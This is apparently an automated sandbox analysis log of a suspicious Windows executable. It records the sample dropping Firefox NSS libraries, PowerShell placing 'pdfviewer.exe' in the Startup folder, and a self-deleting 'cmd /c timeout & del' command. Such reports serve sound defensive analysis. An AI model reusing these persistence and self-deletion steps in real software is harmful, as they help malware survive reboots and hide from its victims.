Source:	Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, mozglue.dll.4.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss3.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.4.dr
Source:	Binary string: ucrtbase.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, ucrtbase.dll.4.dr
Source:	Binary string: api-ms-win-core-file-l1-2-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-file-l1-2-0.dll.4.dr
Source:	Binary string: api-ms-win-core-memory-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-memory-l1-1-0.dll.4.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.4.dr
Source:	Binary string: api-ms-win-core-debug-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-debug-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-sysinfo-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-sysinfo-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-filesystem-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-filesystem-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-stdio-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-stdio-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-heap-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-heap-l1-1-0.dll.4.dr
Source:	Binary string: C:\Users\GT350\source\repos\UpdatedRunpe\UpdatedRunpe\obj\x86\Debug\AQipUvwTwkLZyiCs.pdb source: 962Zrwh5bU.exe, 00000000.00000002.3282362718.00000000026B1000.00000004.00000800.00020000.00000000.sdmp, pdfviewer.exe, 00000009.00000002.3302590903.0000000004E70000.00000004.08000000.00040000.00000000.sdmp, pdfviewer.exe, 00000009.00000002.3282685596.00000000026B1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-util-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-util-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-synch-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-synch-l1-1-0.dll.4.dr
Source:	Binary string: vcruntime140.i386.pdbGCTL source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, vcruntime140.dll.4.dr
Source:	Binary string: api-ms-win-crt-environment-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-environment-l1-1-0.dll.4.dr
Source:	Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb11 source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, mozglue.dll.4.dr
Source:	Binary string: api-ms-win-core-errorhandling-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-errorhandling-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-processthreads-l1-1-0.dll.4.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.4.dr
Source:	Binary string: api-ms-win-core-console-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, 962Zrwh5bU.exe, 00000004.00000002.2173867963.00000000042C0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-console-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-file-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-file-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-private-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-private-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-convert-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-convert-l1-1-0.dll.4.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb)) source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.4.dr
Source:	Binary string: msvcp140.i386.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, msvcp140.dll.4.dr
Source:	Binary string: ucrtbase.pdbUGP source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, ucrtbase.dll.4.dr
Source:	Binary string: api-ms-win-core-profile-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-profile-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-time-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-time-l1-1-0.dll.4.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb-- source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, nssdbm3.dll.4.dr
Source:	Binary string: api-ms-win-core-handle-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-handle-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-synch-l1-2-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-synch-l1-2-0.dll.4.dr
Source:	Binary string: api-ms-win-core-processenvironment-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-processenvironment-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-datetime-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-datetime-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-conio-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-conio-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-localization-l1-2-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-localization-l1-2-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-math-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-math-l1-1-0.dll.4.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.4.dr
Source:	Binary string: api-ms-win-core-processthreads-l1-1-1.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-processthreads-l1-1-1.dll.4.dr
Source:	Binary string: api-ms-win-core-namedpipe-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-namedpipe-l1-1-0.dll.4.dr
Source:	Binary string: vcruntime140.i386.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, vcruntime140.dll.4.dr
Source:	Binary string: api-ms-win-crt-multibyte-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-multibyte-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-utility-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-utility-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-rtlsupport-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-rtlsupport-l1-1-0.dll.4.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, nssdbm3.dll.4.dr
Source:	Binary string: api-ms-win-core-timezone-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-timezone-l1-1-0.dll.4.dr
Source:	Binary string: msvcp140.i386.pdbGCTL source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, msvcp140.dll.4.dr
Source:	Binary string: api-ms-win-core-string-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-string-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-file-l2-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-file-l2-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-process-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-process-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-libraryloader-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-libraryloader-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-interlocked-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-interlocked-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-heap-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-heap-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-string-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-string-l1-1-0.dll.4.dr

Source: 962Zrwh5bU.exe

Static PE information: 0xA304A0A8 [Thu Aug 31 23:18:00 2056 UTC]

Source: C:\Users\user\Desktop\962Zrwh5bU.exe

Code function: 4_2_0040B15C LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,

4_2_0040B15C

Source: msvcp140.dll.4.dr

Static PE information: section name: .didat

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_04756C4A push AC074F79h; ret	2_2_04756E75
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_0040D86E push 0040D89Ch; ret	4_2_0040D894
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_0040D870 push 0040D89Ch; ret	4_2_0040D894
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_004140C0 push 004140ECh; ret	4_2_004140E4
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_004108C8 push 004108F4h; ret	4_2_004108EC
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_0040B0F7 push 0040B124h; ret	4_2_0040B11C
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_0040B0F8 push 0040B124h; ret	4_2_0040B11C
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_00408080 push 004080B8h; ret	4_2_004080B0
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_00408158 push 00408196h; ret	4_2_0040818E
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_00408970 push 004089E4h; ret	4_2_004089DC
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_00408994 push 004089E4h; ret	4_2_004089DC
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_004089AC push 004089E4h; ret	4_2_004089DC
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_00415208 push 0041528Ch; ret	4_2_00415284
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_0040CA0C push 0040CA3Ch; ret	4_2_0040CA34
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_0040CA10 push 0040CA3Ch; ret	4_2_0040CA34
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_00417AEC push 00417B18h; ret	4_2_00417B10
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_00404BC0 push 00404C11h; ret	4_2_00404C09
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_0040D3C0 push 0040D3ECh; ret	4_2_0040D3E4
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_0040A3E4 push 0040A410h; ret	4_2_0040A408
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_0040C390 push 0040C3C0h; ret	4_2_0040C3B8
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_0040C394 push 0040C3C0h; ret	4_2_0040C3B8
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_0040A3AC push 0040A3D8h; ret	4_2_0040A3D0
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_0040DC44 push 0040DCA3h; ret	4_2_0040DC9B
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_0040DC0C push 0040DC38h; ret	4_2_0040DC30
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_0040B41E push 0040B44Ch; ret	4_2_0040B444
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_0040B420 push 0040B44Ch; ret	4_2_0040B444
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_0040A438 push 0040A464h; ret	4_2_0040A45C
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_0041A4F4 push 0041A51Ah; ret	4_2_0041A512
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_00414C80 push 00414CACh; ret	4_2_00414CA4
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_00409488 push 004094B8h; ret	4_2_004094B0
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_0041A4AC push 0041A4E8h; ret	4_2_0041A4E0

Source: 962Zrwh5bU.exe	Static PE information: section name: .text entropy: 6.893738516967785
Source: pdfviewer.exe.2.dr	Static PE information: section name: .text entropy: 6.893738516967785

Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File created: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-console-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File created: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-file-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File created: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File created: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-environment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File created: C:\Users\user\AppData\Local\Temp\8047D2AF\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File created: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-synch-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File created: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-rtlsupport-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File created: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-time-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File created: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File created: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File created: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-file-l2-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File created: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-localization-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File created: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-conio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File created: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-memory-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File created: C:\Users\user\AppData\Local\Temp\8047D2AF\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File created: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-synch-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File created: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-timezone-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File created: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-multibyte-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File created: C:\Users\user\AppData\Local\Temp\8047D2AF\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File created: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-libraryloader-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File created: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-sysinfo-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File created: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File created: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-process-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File created: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-utility-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File created: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File created: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-debug-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File created: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-processthreads-l1-1-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File created: C:\Users\user\AppData\Local\Temp\8047D2AF\nssdbm3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File created: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-filesystem-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File created: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-processenvironment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File created: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-datetime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File created: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-math-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File created: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-stdio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File created: C:\Users\user\AppData\Local\Temp\8047D2AF\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File created: C:\Users\user\AppData\Local\Temp\8047D2AF\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File created: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-private-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File created: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-processthreads-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File created: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-namedpipe-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File created: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File created: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-file-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File created: C:\Users\user\AppData\Local\Temp\8047D2AF\ucrtbase.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File created: C:\Users\user\AppData\Local\Temp\8047D2AF\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File created: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-handle-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File created: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-profile-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File created: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-errorhandling-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File created: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-interlocked-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File created: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-convert-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	File created: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-util-l1-1-0.dll	Jump to dropped file

Boot Survival

Drops PE files to the startup folder

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe

Jump to dropped file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe\:Zone.Identifier:$DATA			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Self deletion via cmd or bat file

Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Process created: "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "962Zrwh5bU.exe"
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Process created: "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "962Zrwh5bU.exe"			Jump to behavior

Source: C:\Users\user\Desktop\962Zrwh5bU.exe

Code function: 4_2_00417B1A LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,

4_2_00417B1A

Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
